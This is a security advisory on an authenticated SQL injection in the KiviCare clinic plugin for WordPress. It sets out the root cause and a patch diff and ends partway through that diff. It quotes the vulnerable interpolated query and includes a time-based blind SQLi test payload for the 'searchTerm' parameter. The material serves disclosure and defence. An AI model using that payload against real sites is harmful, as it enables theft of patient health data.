Published : August 14, 2026

CVE-2026-15453: KiviCare <= 4.5.1 Authenticated (Doctor+) SQL Injection via 'searchTerm' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 4.5.1
Patched Version 4.5.2
Disclosed August 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-15453: This vulnerability is an authenticated SQL Injection in the KiviCare Clinic & Patient Management System for WordPress, affecting versions up to and including 4.5.1. The flaw exists in the ‘searchTerm’ parameter within the ListingData controller, allowing users with custom KiviCare roles (such as Doctor or Receptionist) to extract sensitive database information. The vulnerability has a CVSS score of 6.5 (Medium).

The root cause lies in `app/controllers/api/SettingsController/ListingData.php` (lines 264-274 and 453-463). The vulnerable code directly interpolates the `$like` variable, which is constructed from the user-supplied `searchTerm` parameter, into raw SQL queries using `orWhereRaw`. Specifically, the code executes `$q->orWhereRaw(“LOWER(type) LIKE ‘{$like}'”)` and `$q->orWhereRaw(“LOWER(value) LIKE ‘{$like}'”)`. This lack of parameterization permits an attacker to inject SQL syntax by manipulating the `searchTerm` value, which is then concatenated into the query. Atomic Edge analysis confirms the plugin failed to use prepared statements, allowing the database to interpret user input as SQL code.

An attacker exploiting this vulnerability would first authenticate to the WordPress site with a KiviCare custom role that has the ‘settings_view’ permission, such as a Doctor or Receptionist. They would then craft a request to the vulnerable listing endpoint, likely a REST API route or AJAX handler that processes ‘searchTerm’. The injection payload, such as a UNION-based or time-based blind SQLi payload, is placed inside the `searchTerm` parameter. For example, the request parameter could be set to a value like `’ OR (SELECT SLEEP(5)) — -` to test the injection. The malicious SQL is then executed by the database.

The patch, as shown in the diff, modifies `app/controllers/api/SettingsController/ListingData.php` to replace the string interpolation in the `orWhereRaw` calls with parameterized queries. The new code uses `$q->orWhereRaw(‘LOWER(type) LIKE %s’, [$like])` and `$q->orWhereRaw(‘LOWER(value) LIKE %s’, [$like])`. This change ensures that the `$like` value is treated as a bound parameter by the database layer, preventing it from being executed as raw SQL. The fix correctly implements parameterized queries, a standard defense against SQL injection attacks.

Successful exploitation of this SQL injection vulnerability allows an attacker to extract sensitive data from the WordPress database. This can include usernames, hashed passwords, and the contents of the KiviCare plugin’s custom tables, which may hold patient personal health information (PHI), financial records, and appointment details. The attacker could potentially modify data, delete records, or in some configurations, write files to the server, leading to a complete site takeover.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/kivicare-clinic-management-system/app/abstracts/KCAbstractPaymentGateway.php
+++ b/kivicare-clinic-management-system/app/abstracts/KCAbstractPaymentGateway.php
@@ -140,6 +140,30 @@
     public function get_settings(){
         return $this->settings;
     }
+
+    /**
+     * Public/mobile-safe gateway configuration.
+     *
+     * Gateway implementations may override this to expose SDK-safe values such
+     * as public keys, environment, and client-side API URLs. Secret credentials
+     * must never be returned from this method.
+     *
+     * @return array
+     */
+    public function get_public_config(): array
+    {
+        return ['paymentMethod' => $this->get_public_payment_method_id()];
+    }
+
+    /**
+     * Client-facing payment method identifier.
+     *
+     * @return string
+     */
+    protected function get_public_payment_method_id(): string
+    {
+        return (string) $this->gateway_id;
+    }

     /**
      * Log gateway activity
--- a/kivicare-clinic-management-system/app/admin/KCDashboardPermalinkHandler.php
+++ b/kivicare-clinic-management-system/app/admin/KCDashboardPermalinkHandler.php
@@ -109,6 +109,10 @@
             return $redirect;
         }

+        if ($role === 'administrator') {
+            return $redirect;
+        }
+
         $login_redirects = KCOption::get('login_redirect', []);

         if (!empty($login_redirects[$role])) {
@@ -525,7 +529,12 @@
      */
     public function redirect_to_user_dashboard()
     {
-        $user_role = KCBase::get_instance()->KCGetRoles();
+        $user_role = KCBase::get_instance()->getLoginUserRole();
+        if ($user_role === 'administrator') {
+            wp_safe_redirect(admin_url());
+            exit;
+        }
+
         $dashboard_url = $this->get_dashboard_url($user_role);
         if ($dashboard_url) {
             wp_safe_redirect($dashboard_url);
--- a/kivicare-clinic-management-system/app/baseClasses/KCApp.php
+++ b/kivicare-clinic-management-system/app/baseClasses/KCApp.php
@@ -144,6 +144,10 @@
             return $redirect_to;
         }

+        if ($role === 'administrator') {
+            return $redirect_to;
+        }
+
         apply_filters('kc_login_redirect_role', $role, $user, KCDashboardPermalinkHandler::instance()->get_dashboard_url($role));
         // Check if a custom redirect is set for this role
         if (!empty($login_redirects[$role])) {
--- a/kivicare-clinic-management-system/app/baseClasses/KCPaymentGatewayFactory.php
+++ b/kivicare-clinic-management-system/app/baseClasses/KCPaymentGatewayFactory.php
@@ -153,6 +153,35 @@
     }

     /**
+     * Get enabled payment method configuration safe for frontend/mobile clients.
+     *
+     * @return array<int, array<string, mixed>>
+     */
+    public static function get_payment_methods_config(): array
+    {
+        $methods = [];
+
+        foreach (self::get_available_gateways(false) as $gateway_data) {
+            $gateway = $gateway_data['instance'] ?? null;
+
+            if (!$gateway instanceof KCAbstractPaymentGateway || !$gateway->is_enabled()) {
+                continue;
+            }
+
+            $gateway_methods = $gateway->get_public_config();
+
+            if (!isset($gateway_methods['paymentMethod'])) {
+                $methods = array_merge($methods, array_values($gateway_methods));
+                continue;
+            }
+
+            $methods[] = $gateway_methods;
+        }
+
+        return apply_filters('kc_payment_methods_config', $methods);
+    }
+
+    /**
      * Get a gateway instance by ID.
      *
      * @param string $gateway_id      Gateway identifier
@@ -187,4 +216,4 @@

         return $gateway;
     }
-}
 No newline at end of file
+}
--- a/kivicare-clinic-management-system/app/controllers/api/AppointmentsController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/AppointmentsController.php
@@ -20,6 +20,7 @@
 use AppmodelsKCPaymentsAppointmentMapping;
 use AppmodelsKCUserMeta;
 use AppmodelsKCUser;
+use AppmodelsKCReceptionistClinicMapping;
 use AppmodelsKCPatientMedicalReport;
 use AppservicesKCAppointmentDataService;
 use AppservicesKCAppointmentPaymentService;
@@ -1311,9 +1312,13 @@
                     return $this->checkResourceAccess('appointment', 'view');
                 }

+                if (strpos($route, '/print-report/') !== false) {
+                    return $this->checkResourceAccess('appointment', 'view');
+                }
+
                 // For single appointment view
                 if (isset($request['id'])) {
-                    return $this->checkResourceAccess('appointment', 'view');
+                    return $this->checkResourceAccess('appointment', 'view') && $this->canAccessAppointmentId((int) $request['id']);
                 }

                 // For appointment list - check appointment_list capability
@@ -1344,6 +1349,57 @@
         }
     }

+    private function canAccessAppointmentId(int $appointmentId): bool
+    {
+        if ($appointmentId <= 0) {
+            return false;
+        }
+
+        $appointment = KCAppointment::find($appointmentId);
+        if (!$appointment) {
+            return false;
+        }
+
+        $role = $this->kcbase->getLoginUserRole();
+        $currentUserId = get_current_user_id();
+
+        if ($role === 'administrator') {
+            return true;
+        }
+
+        if ($role === $this->kcbase->getPatientRole()) {
+            return (int) $appointment->patientId === (int) $currentUserId;
+        }
+
+        if ($role === $this->kcbase->getDoctorRole()) {
+            return (int) $appointment->doctorId === (int) $currentUserId;
+        }
+
+        if ($role === $this->kcbase->getReceptionistRole()) {
+            return in_array((int) $appointment->clinicId, $this->getReceptionistClinicIds($currentUserId), true);
+        }
+
+        if ($role === $this->kcbase->getClinicAdminRole()) {
+            $clinic = KCClinic::find((int) $appointment->clinicId);
+            return $clinic && (int) $clinic->clinicAdminId === (int) $currentUserId;
+        }
+
+        return false;
+    }
+
+    /**
+     * @return int[]
+     */
+    private function getReceptionistClinicIds(int $receptionistId): array
+    {
+        return KCReceptionistClinicMapping::query()
+            ->where('receptionistId', $receptionistId)
+            ->select(['clinic_id'])
+            ->get()
+            ->map(fn($row) => (int) $row->clinicId)
+            ->toArray();
+    }
+
     /**
      * Check if user has permission to create an appointment
      *
--- a/kivicare-clinic-management-system/app/controllers/api/AuthController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/AuthController.php
@@ -601,21 +601,22 @@
      */
     public function checkRegistrationPermission($request) :bool|WP_Error
     {
-        KCErrorLogger::instance()->error("AuthController: checkRegistrationPermission called");
-
-        // Allow registration if WordPress registration is enabled OR if KiviCare registration is specifically enabled
-        if (get_option('users_can_register')) {
-            KCErrorLogger::instance()->error("AuthController: WordPress registration enabled");
-            return true;
-        }
-
-        // Determine user role
         $user_role = $request->get_param('user_role') ?? $this->kcbase->getPatientRole();
-        KCErrorLogger::instance()->error("Requested user role: " . $user_role);

-        // Validate if the selected role is enabled in settings
+        return $this->validatePublicRegistrationRole($user_role);
+    }
+
+    private function validatePublicRegistrationRole(string $user_role): bool|WP_Error
+    {
         $role_settings = KCOption::get('user_registration_shortcode_role_setting') ?? [];
-        if (isset($role_settings[$user_role]) && $role_settings[$user_role] !== 'on') {
+        $role_enabled = (($role_settings[$user_role] ?? 'off') === 'on');
+
+        $staff_roles = [
+            $this->kcbase->getDoctorRole(),
+            $this->kcbase->getReceptionistRole(),
+        ];
+
+        if (in_array($user_role, $staff_roles, true) && !$role_enabled) {
             return new WP_Error(
                 'role_not_allowed',
                 __('Selected user role is not enabled for registration', 'kivicare-clinic-management-system'),
@@ -623,32 +624,39 @@
             );
         }

-        // Block receptionist registration if the receptionist module is disabled
-        $receptionist_role = $this->kcbase->getReceptionistRole();
-        if ($user_role === $receptionist_role || $user_role === 'receptionist') {
-            $modules_data  = kcGetModules();
-            $module_config = $modules_data['module_config'] ?? [];
-            $receptionist_on = false;
-            foreach ($module_config as $mod) {
-                if (($mod['name'] ?? '') === 'receptionist') {
-                    $receptionist_on = ($mod['status'] === '1' || $mod['status'] === 1 || $mod['status'] === true);
-                    break;
-                }
-            }
-            if (!$receptionist_on) {
-                return new WP_Error(
-                    'role_not_allowed',
-                    __('Receptionist registration is currently disabled.', 'kivicare-clinic-management-system'),
-                    ['status' => 403]
-                );
-            }
+        if ($user_role === $this->kcbase->getPatientRole() && !get_option('users_can_register') && !$role_enabled) {
+            return new WP_Error(
+                'role_not_allowed',
+                __('Selected user role is not enabled for registration', 'kivicare-clinic-management-system'),
+                ['status' => 400]
+            );
+        }
+
+        if ($user_role === $this->kcbase->getReceptionistRole() && !$this->isReceptionistModuleEnabled()) {
+            return new WP_Error(
+                'role_not_allowed',
+                __('Receptionist registration is currently disabled.', 'kivicare-clinic-management-system'),
+                ['status' => 403]
+            );
         }

-        // Default to allowing registration for KiviCare (since this is a medical system)
-        KCErrorLogger::instance()->error("AuthController: Allowing registration by default");
         return true;
     }

+    private function isReceptionistModuleEnabled(): bool
+    {
+        $modules_data = kcGetModules();
+        $module_config = $modules_data['module_config'] ?? [];
+
+        foreach ($module_config as $module) {
+            if (($module['name'] ?? '') === 'receptionist') {
+                return in_array($module['status'] ?? null, ['1', 1, true], true);
+            }
+        }
+
+        return false;
+    }
+
     public function checkLogoutPermission($request)
     {
         return is_user_logged_in();
@@ -1277,14 +1285,14 @@
         // Determine user role
         $user_role = $params['user_role'] ?? $this->kcbase->getPatientRole();

-        // Validate if the selected role is enabled in settings
-        $role_settings = KCOption::get('user_registration_shortcode_role_setting') ?? [];
-        if (isset($role_settings[$user_role]) && $role_settings[$user_role] !== 'on') {
+        $role_validation = $this->validatePublicRegistrationRole($user_role);
+        if (is_wp_error($role_validation)) {
+            $error_data = $role_validation->get_error_data();
             return $this->response(
                 null,
-                __('Selected user role is not enabled for registration', 'kivicare-clinic-management-system'),
+                $role_validation->get_error_message(),
                 false,
-                400
+                $error_data['status'] ?? 400
             );
         }

@@ -1977,4 +1985,4 @@
         }
     }

-}
 No newline at end of file
+}
--- a/kivicare-clinic-management-system/app/controllers/api/BillController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/BillController.php
@@ -15,6 +15,7 @@
 use AppmodelsKCPaymentsAppointmentMapping;
 use AppmodelsKCServiceDoctorMapping;
 use AppmodelsKCAppointmentServiceMapping;
+use AppmodelsKCReceptionistClinicMapping;
 use WP_REST_Request;
 use WP_REST_Response;
 use KCProAppcontrollersapiGoogleCalendarIntegration;
@@ -210,13 +211,95 @@
         ];
     }

-    public function checkViewPermission()
+    public function checkViewPermission($request = null)
     {
         if (!$this->isModuleEnabled('billing')) {
             return false;
         }
-        // Check if user has permission to list
-        return $this->checkResourceAccess('patient_bill', 'view');
+
+        if (!$this->checkResourceAccess('patient_bill', 'view')) {
+            return false;
+        }
+
+        if ($request instanceof WP_REST_Request) {
+            if ($request->get_param('id')) {
+                return $this->canAccessBillId((int) $request->get_param('id'));
+            }
+
+            if ($request->get_param('encounter_id')) {
+                return $this->canAccessEncounterId((int) $request->get_param('encounter_id'));
+            }
+        }
+
+        return true;
+    }
+
+    private function canAccessBillId(int $billId): bool
+    {
+        if ($billId <= 0) {
+            return false;
+        }
+
+        $bill = KCBill::find($billId);
+        return $bill && $this->canAccessEncounterId((int) $bill->encounterId);
+    }
+
+    private function canAccessEncounterId(int $encounterId): bool
+    {
+        if ($encounterId <= 0) {
+            return false;
+        }
+
+        $encounter = KCPatientEncounter::find($encounterId);
+        if (!$encounter) {
+            return false;
+        }
+
+        $role = $this->kcbase->getLoginUserRole();
+        $currentUserId = get_current_user_id();
+        $clinicId = (int) $encounter->clinicId;
+
+        return match ($role) {
+            'administrator' => true,
+            $this->kcbase->getPatientRole() => (int) $encounter->patientId === (int) $currentUserId,
+            $this->kcbase->getDoctorRole() => (int) $encounter->doctorId === (int) $currentUserId,
+            $this->kcbase->getReceptionistRole() => $this->receptionistCanAccessClinic($currentUserId, $clinicId),
+            $this->kcbase->getClinicAdminRole() => $this->clinicAdminCanAccessClinic($currentUserId, $clinicId),
+            default => false,
+        };
+    }
+
+    private function receptionistCanAccessClinic(int $receptionistId, int $clinicId): bool
+    {
+        if ($receptionistId <= 0 || $clinicId <= 0) {
+            return false;
+        }
+
+        return in_array($clinicId, $this->getReceptionistClinicIds($receptionistId), true);
+    }
+
+    private function clinicAdminCanAccessClinic(int $clinicAdminId, int $clinicId): bool
+    {
+        if ($clinicAdminId <= 0 || $clinicId <= 0) {
+            return false;
+        }
+
+        $clinic = KCClinic::find($clinicId);
+
+        return $clinic && (int) $clinic->clinicAdminId === (int) $clinicAdminId;
+    }
+
+    /**
+     * @return int[]
+     */
+    private function getReceptionistClinicIds(int $receptionistId): array
+    {
+        return KCReceptionistClinicMapping::query()
+            ->where('receptionist_id', $receptionistId)
+            ->select(['clinic_id'])
+            ->get()
+            ->map(fn($row) => (int) $row->clinicId)
+            ->toArray();
     }

     public function checkPermission($request)
--- a/kivicare-clinic-management-system/app/controllers/api/ConfigController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/ConfigController.php
@@ -2,9 +2,11 @@

 namespace Appcontrollersapi;

+use AppbaseClassesKCActivate;
 use AppbaseClassesKCBase;
 use AppbaseClassesKCBaseController;
 use AppbaseClassesKCPaymentGatewayFactory;
+use AppbaseClassesKCPermissions;
 use AppmodelsKCClinic;
 use AppmodelsKCOption;
 use KCProAppcontrollersapiKCProPermissionSetting;
@@ -218,7 +220,7 @@

         // Lazy generation: activation hook may have been missed on existing installs
         if (!$public_key) {
-            AppbaseClassesKCActivate::generate_server_key_pair();
+            KCActivate::generate_server_key_pair();
             $public_key = get_option('kc_server_public_key');
         }

@@ -492,7 +494,7 @@
             /**
              * Payment methods with detailed configuration.
              */
-            $response['payment_methods'] = $this->getPaymentMethodsArray();
+            $response['payment_methods'] = KCPaymentGatewayFactory::get_payment_methods_config();

             // Define the sub-module configurations to process
             $response['encounter_modules'] = apply_filters('kcpro_get_encounter_list',[]);
@@ -506,7 +508,7 @@
             if ($user_id && is_user_logged_in()) {
                 $userObj = new WP_User($user_id);
                 $final_capabilities = $userObj->allcaps;
-                $user_role_key = AppbaseClassesKCPermissions::get_user_role($user_id);
+                $user_role_key = KCPermissions::get_user_role($user_id);

                 if (function_exists('isKiviCareProActive') && isKiviCareProActive()) {
                     $lookup_key = ($user_role_key === 'admin') ? 'administrator' : str_replace(KIVI_CARE_PREFIX, '', $user_role_key);
@@ -1039,145 +1041,6 @@
         }
     }

-    /**
-     * Get payment methods array with detailed configuration
-     * Only returns enabled payment methods
-     *
-     * @return array
-     */
-    private function getPaymentMethodsArray(): array
-    {
-        $payment_methods = [];
-        $gateways = AppbaseClassesKCPaymentGatewayFactory::get_available_gateways();
-
-        // Map gateway IDs to user's expected format
-        $gateway_id_mapping = [
-            'razorpay' => 'razorPay',
-            'stripe' => 'stripe',
-            'stripepay' => 'stripe',
-            'woocommerce' => 'wooCommerce',
-            'manual' => 'offline',
-            'paypal' => 'paypal'
-        ];
-
-        foreach ($gateways as $gateway_id => $gateway_data) {
-            $instance = $gateway_data['instance'] ?? null;
-
-            if (!$instance) {
-                continue;
-            }
-
-            // Only include enabled payment methods
-            $is_enabled = $instance->is_enabled() ?? false;
-            if (!$is_enabled) {
-                continue;
-            }
-
-            $mapped_id = $gateway_id_mapping[$gateway_id] ?? $gateway_id;
-            // Use get_settings() method to properly retrieve settings
-            $settings = method_exists($instance, 'get_settings') ? $instance->get_settings() : ($instance->settings ?? []);
-
-            // Build payment method object
-            $payment_method = [
-                'paymentMethod' => $mapped_id,
-            ];
-
-            // For offline/manual payment, only include paymentMethod
-            if ($gateway_id === 'manual') {
-                unset($payment_method['paymentURL']); // Remove URL for offline to match desired output
-                $payment_methods[] = $payment_method;
-                continue;
-            }
-            // Same for woocommerce? User JSON had "paymentMethod": "wooCommerce" and nothing else.
-            if ($gateway_id === 'woocommerce') {
-                // $checkout_page_id = get_option('woocommerce_checkout_page_id');
-                // $payment_method['paymentURL'] = $checkout_page_id ? get_permalink($checkout_page_id) : site_url();
-                $payment_methods[] = $payment_method;
-                continue;
-            }
-
-            // For gateways that support environment/mode
-            $environment = 'live';
-            $secret_key = '';
-            $public_key = '';
-            $payment_url = '';
-
-            switch ($gateway_id) {
-                case 'razorpay':
-                    // Razorpay - get settings from instance first, then fallback to option
-                    $razorpay_settings = $settings;
-
-                    // If settings are empty or missing credentials, try getting directly from option
-                    if (empty($razorpay_settings) || empty($razorpay_settings['key_id']) || empty($razorpay_settings['key_secret'])) {
-                        $option_settings = get_option(KIVI_CARE_PREFIX . 'razorpay_setting', []);
-                        if (is_string($option_settings)) {
-                            $option_settings = json_decode($option_settings, true) ?? [];
-                        }
-                        // Merge option settings with instance settings (option takes precedence)
-                        if (!empty($option_settings)) {
-                            $razorpay_settings = array_merge($razorpay_settings, $option_settings);
-                        }
-                    }
-
-                    $mode = $razorpay_settings['mode'] ?? 'sandbox';
-                    $environment = ($mode === 'sandbox') ? 'test' : 'live';
-                    $secret_key = $razorpay_settings['key_secret'] ?? '';
-                    $public_key = $razorpay_settings['key_id'] ?? '';
-                    $payment_url = 'https://api.razorpay.com/v1';
-                    break;
-
-                case 'paypal':
-                    // PayPal uses 'mode' with id 0 (sandbox) or 1 (live)
-                    $mode = $settings['mode'] ?? [];
-                    if (is_array($mode) && isset($mode['id'])) {
-                        $environment = ($mode['id'] == '0' || $mode['id'] === 0) ? 'test' : 'live';
-                    } else {
-                        $environment = ($mode == '0' || $mode === 0) ? 'test' : 'live';
-                    }
-                    $secret_key = $settings['client_secret'] ?? '';
-                    $public_key = $settings['client_id'] ?? '';
-                    $payment_url = ($environment === 'test')
-                        ? 'https://api.sandbox.paypal.com'
-                        : 'https://api.paypal.com';
-                    break;
-
-                case 'stripe':
-                case 'stripepay':
-                    // Stripe - get settings from instance or directly from options
-                    $stripe_settings = $settings;
-
-                    // Fallback to option if empty
-                    if (empty($stripe_settings) || (empty($stripe_settings['api_key']) && empty($stripe_settings['publishable_key']))) {
-                         $option_key = defined('KIVI_CARE_PREFIX') ? KIVI_CARE_PREFIX . 'stripepay_setting' : 'kiviCare_stripepay_setting';
-                         $option_settings = get_option($option_key, []);
-                         if (is_string($option_settings)) {
-                            $option_settings = json_decode($option_settings, true) ?? [];
-                         }
-                         if (!empty($option_settings)) {
-                             $stripe_settings = array_merge($stripe_settings, $option_settings);
-                         }
-                    }
-
-                    $mode = $stripe_settings['mode'] ?? 'sandbox';
-                    $environment = ($mode === 'sandbox' || $mode === 'test') ? 'test' : 'live';
-                    // Stripe addon uses 'api_key' for secret, 'publishable_key' for public
-                    $secret_key = $stripe_settings['api_key'] ?? $stripe_settings['secret_key'] ?? $stripe_settings['secretKey'] ?? '';
-                    $public_key = $stripe_settings['publishable_key'] ?? $stripe_settings['publishableKey'] ?? $stripe_settings['public_key'] ?? '';
-                    $payment_url = 'https://api.stripe.com/v1';
-                    break;
-            }
-
-            // Populate fields - always include structure if it's one of the processed gateways
-            $payment_method['environment'] = $environment;
-            $payment_method['secretKey'] = $secret_key;
-            $payment_method['publicKey'] = $public_key;
-            $payment_method['paymentURL'] = $payment_url;
-
-            $payment_methods[] = $payment_method;
-        }
-
-        return $payment_methods;
-    }

     /**
      * Get general configuration
--- a/kivicare-clinic-management-system/app/controllers/api/KCPrintInvoiceController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/KCPrintInvoiceController.php
@@ -11,6 +11,7 @@
 use AppmodelsKCPaymentsAppointmentMapping;
 use AppmodelsKCPatientEncounter;
 use AppmodelsKCBill;
+use AppmodelsKCReceptionistClinicMapping;
 use WP_REST_Request;
 use WP_REST_Response;
 use ApputilsKCPdfGenerator;
@@ -37,6 +38,73 @@
         ]);
     }

+    public function checkPermission($request)
+    {
+        if (!$this->checkCapability('read') || !$this->checkResourceAccess('appointment', 'view')) {
+            return false;
+        }
+
+        return $this->canAccessAppointmentId((int) $request->get_param('id'));
+    }
+
+    private function canAccessAppointmentId(int $appointmentId): bool
+    {
+        if ($appointmentId <= 0) {
+            return false;
+        }
+
+        $appointment = KCAppointment::find($appointmentId);
+        if (!$appointment) {
+            return false;
+        }
+
+        $role = $this->kcbase->getLoginUserRole();
+        $currentUserId = get_current_user_id();
+        $clinicId = (int) $appointment->clinicId;
+
+        return match ($role) {
+            'administrator' => true,
+            $this->kcbase->getPatientRole() => (int) $appointment->patientId === (int) $currentUserId,
+            $this->kcbase->getDoctorRole() => (int) $appointment->doctorId === (int) $currentUserId,
+            $this->kcbase->getReceptionistRole() => $this->receptionistCanAccessClinic($currentUserId, $clinicId),
+            $this->kcbase->getClinicAdminRole() => $this->clinicAdminCanAccessClinic($currentUserId, $clinicId),
+            default => false,
+        };
+    }
+
+    private function receptionistCanAccessClinic(int $receptionistId, int $clinicId): bool
+    {
+        if ($receptionistId <= 0 || $clinicId <= 0) {
+            return false;
+        }
+
+        return in_array($clinicId, $this->getReceptionistClinicIds($receptionistId), true);
+    }
+
+    private function clinicAdminCanAccessClinic(int $clinicAdminId, int $clinicId): bool
+    {
+        if ($clinicAdminId <= 0 || $clinicId <= 0) {
+            return false;
+        }
+
+        $clinic = KCClinic::find($clinicId);
+
+        return $clinic && (int) $clinic->clinicAdminId === (int) $clinicAdminId;
+    }
+
+    /**
+     * @return int[]
+     */
+    private function getReceptionistClinicIds(int $receptionistId): array
+    {
+        return KCReceptionistClinicMapping::query()
+            ->where('receptionist_id', $receptionistId)
+            ->select(['clinic_id'])
+            ->get()
+            ->map(fn($row) => (int) $row->clinicId)
+            ->toArray();
+    }
+
     public function print(WP_REST_Request $request)
     {
         try {
@@ -242,4 +310,4 @@

         return KIVI_CARE_DIR . 'templates/KCInvoicePrintTemplate.php';
     }
-}
 No newline at end of file
+}
--- a/kivicare-clinic-management-system/app/controllers/api/SettingsController/ListingData.php
+++ b/kivicare-clinic-management-system/app/controllers/api/SettingsController/ListingData.php
@@ -264,11 +264,11 @@
             $query->where(function ($q) use ($searchTerm, $like) {
                 if (is_numeric($searchTerm)) {
                     $q->where('id', $searchTerm)
-                      ->orWhereRaw("LOWER(type) LIKE '{$like}'")
-                      ->orWhereRaw("LOWER(value) LIKE '{$like}'");
+                      ->orWhereRaw('LOWER(type) LIKE %s', [$like])
+                      ->orWhereRaw('LOWER(value) LIKE %s', [$like]);
                 } else {
-                    $q->whereRaw("LOWER(type) LIKE '{$like}'")
-                      ->orWhereRaw("LOWER(value) LIKE '{$like}'");
+                    $q->whereRaw('LOWER(type) LIKE %s', [$like])
+                      ->orWhereRaw('LOWER(value) LIKE %s', [$like]);
                 }
             });
         }
@@ -453,11 +453,11 @@
                 $query->where(function ($q) use ($searchTerm, $like) {
                     if (is_numeric($searchTerm)) {
                         $q->where('id', $searchTerm)
-                          ->orWhereRaw("LOWER(type) LIKE '{$like}'")
-                          ->orWhereRaw("LOWER(value) LIKE '{$like}'");
+                          ->orWhereRaw('LOWER(type) LIKE %s', [$like])
+                          ->orWhereRaw('LOWER(value) LIKE %s', [$like]);
                     } else {
-                        $q->whereRaw("LOWER(type) LIKE '{$like}'")
-                          ->orWhereRaw("LOWER(value) LIKE '{$like}'");
+                        $q->whereRaw('LOWER(type) LIKE %s', [$like])
+                          ->orWhereRaw('LOWER(value) LIKE %s', [$like]);
                     }
                 });
             }
--- a/kivicare-clinic-management-system/app/controllers/api/StaticDataController.php
+++ b/kivicare-clinic-management-system/app/controllers/api/StaticDataController.php
@@ -200,13 +200,30 @@
                     'description' => __('Whether the request is from the mobile app (allows inactive clinics in some cases)', 'kivicare-clinic-management-system'),
                 ],
             ],
-            'permission_callback' => function (WP_REST_Request $request) {
-                // For now, allowing all requests - can be customized later
-                return true;
-            },
+            'permission_callback' => [$this, 'checkStaticDataPermission'],
         ]);
     }

+    public function checkStaticDataPermission(WP_REST_Request $request)
+    {
+        $isPatientListRequest = $request->get_param('dataType') === 'patientList'
+            || ($request->get_param('dataType') === 'staticData' && $request->get_param('staticDataType') === 'patients');
+
+        if (!$isPatientListRequest) {
+            return true;
+        }
+
+        if (!is_user_logged_in() || !$this->checkCapability('read')) {
+            return false;
+        }
+
+        if ($this->kcbase->getLoginUserRole() === $this->kcbase->getPatientRole()) {
+            return false;
+        }
+
+        return $this->checkResourceAccess('patient', 'view');
+    }
+
     public function getStaticData(WP_REST_Request $request): WP_REST_Response
     {
         try {
@@ -645,7 +662,7 @@
     /**
      * Get clinic list
      */
-    private function getClinicList(?WP_REST_Request $request = null): array
+    private function getClinicList(WP_REST_Request $request): array
     {
         try {
             $currentUserRole = $this->kcbase->getLoginUserRole();
@@ -710,8 +727,22 @@
                  $clinicsQuery->where('status', 1);
             }

+            $clinicId = $request->get_param('clinic_id');
+            $clinicIds = $request->get_param('clinic_ids');
+
+            if (!empty($clinicId)) {
+                $clinicsQuery->where('id', absint($clinicId));
+            } elseif (!empty($clinicIds)) {
+                $clinicIdsArray = is_array($clinicIds) ? $clinicIds : explode(',', (string) $clinicIds);
+                $clinicIdsArray = array_filter(array_map('absint', $clinicIdsArray));
+
+                if (!empty($clinicIdsArray)) {
+                    $clinicsQuery->whereIn('id', $clinicIdsArray);
+                }
+            }
+
             // Handle search
-            if ($request instanceof WP_REST_Request && !empty($request->get_param('search'))) {
+            if (!empty($request->get_param('search'))) {
                 $search = $request->get_param('search');
                 if ($search !== 'undefined' && $search !== 'null') {
                     $clinicsQuery->where('name', 'LIKE', '%' . $search . '%');
@@ -719,72 +750,68 @@
             }

             // Filter by service_id
-            if ($request instanceof WP_REST_Request) {
-                $serviceId = $request->get_param('service_id');
-                if (!empty($serviceId)) {
-                    $serviceClinicIds = KCServiceDoctorMapping::query()
-                        ->where('service_id', absint($serviceId))
-                        ->where('status', 1)
-                        ->select(['clinic_id'])
-                        ->groupBy('clinic_id')
-                        ->get()
-                        ->map(fn($row) => $row->clinicId)
-                        ->toArray();
+            $serviceId = $request->get_param('service_id');
+            if (!empty($serviceId)) {
+                $serviceClinicIds = KCServiceDoctorMapping::query()
+                    ->where('service_id', absint($serviceId))
+                    ->where('status', 1)
+                    ->select(['clinic_id'])
+                    ->groupBy('clinic_id')
+                    ->get()
+                    ->map(fn($row) => $row->clinicId)
+                    ->toArray();

-                    $serviceClinicIds = array_filter($serviceClinicIds);
+                $serviceClinicIds = array_filter($serviceClinicIds);

-                    if (!empty($serviceClinicIds)) {
-                        $clinicsQuery->whereIn('id', $serviceClinicIds);
-                    } else {
-                        // Service not found in any clinic
-                        $clinicsQuery->whereRaw('0=1');
-                    }
+                if (!empty($serviceClinicIds)) {
+                    $clinicsQuery->whereIn('id', $serviceClinicIds);
+                } else {
+                    // Service not found in any clinic
+                    $clinicsQuery->whereRaw('0=1');
                 }
             }

             // Filter by doctor_id and exclude clinics with existing sessions
-            if ($request instanceof WP_REST_Request) {
-                $doctorId = $request->get_param('doctor_id');
-                $excludeWithSessions = $request->get_param('exclude_with_sessions');
-
-                if (!empty($doctorId)) {
-
-                    // First, filter to only clinics where this doctor works
-                    $doctorClinicIds = KCDoctorClinicMapping::query()
-                        ->where('doctor_id', absint($doctorId))
-                        ->select(['clinic_id'])
-                        ->get()
-                        ->map(fn($row) => $row->clinicId)
-                        ->toArray();
-
-                    $doctorClinicIds = array_filter($doctorClinicIds);
-
+            $doctorId = $request->get_param('doctor_id');
+            $excludeWithSessions = $request->get_param('exclude_with_sessions');

-                    if (!empty($doctorClinicIds)) {
-                        $clinicsQuery->whereIn('id', $doctorClinicIds);
+            if (!empty($doctorId)) {

-                        // If exclude_with_sessions is true, exclude clinics where doctor has sessions
-                        if ($excludeWithSessions === true) {
-                            // Get clinic IDs where this doctor already has sessions
-                            $sessionClinicIds = AppmodelsKCClinicSession::query()
-                                ->where('doctorId', absint($doctorId))
-                                ->select(['clinic_id'])
-                                ->groupBy('clinic_id')
-                                ->get()
-                                ->map(fn($row) => $row->clinicId)
-                                ->toArray();
-
-                            $sessionClinicIds = array_filter($sessionClinicIds);
-
-                            if (!empty($sessionClinicIds)) {
-                                // Exclude clinics where doctor already has sessions
-                                $clinicsQuery->whereNotIn('id', $sessionClinicIds);
-                            }
+                // First, filter to only clinics where this doctor works
+                $doctorClinicIds = KCDoctorClinicMapping::query()
+                    ->where('doctor_id', absint($doctorId))
+                    ->select(['clinic_id'])
+                    ->get()
+                    ->map(fn($row) => $row->clinicId)
+                    ->toArray();
+
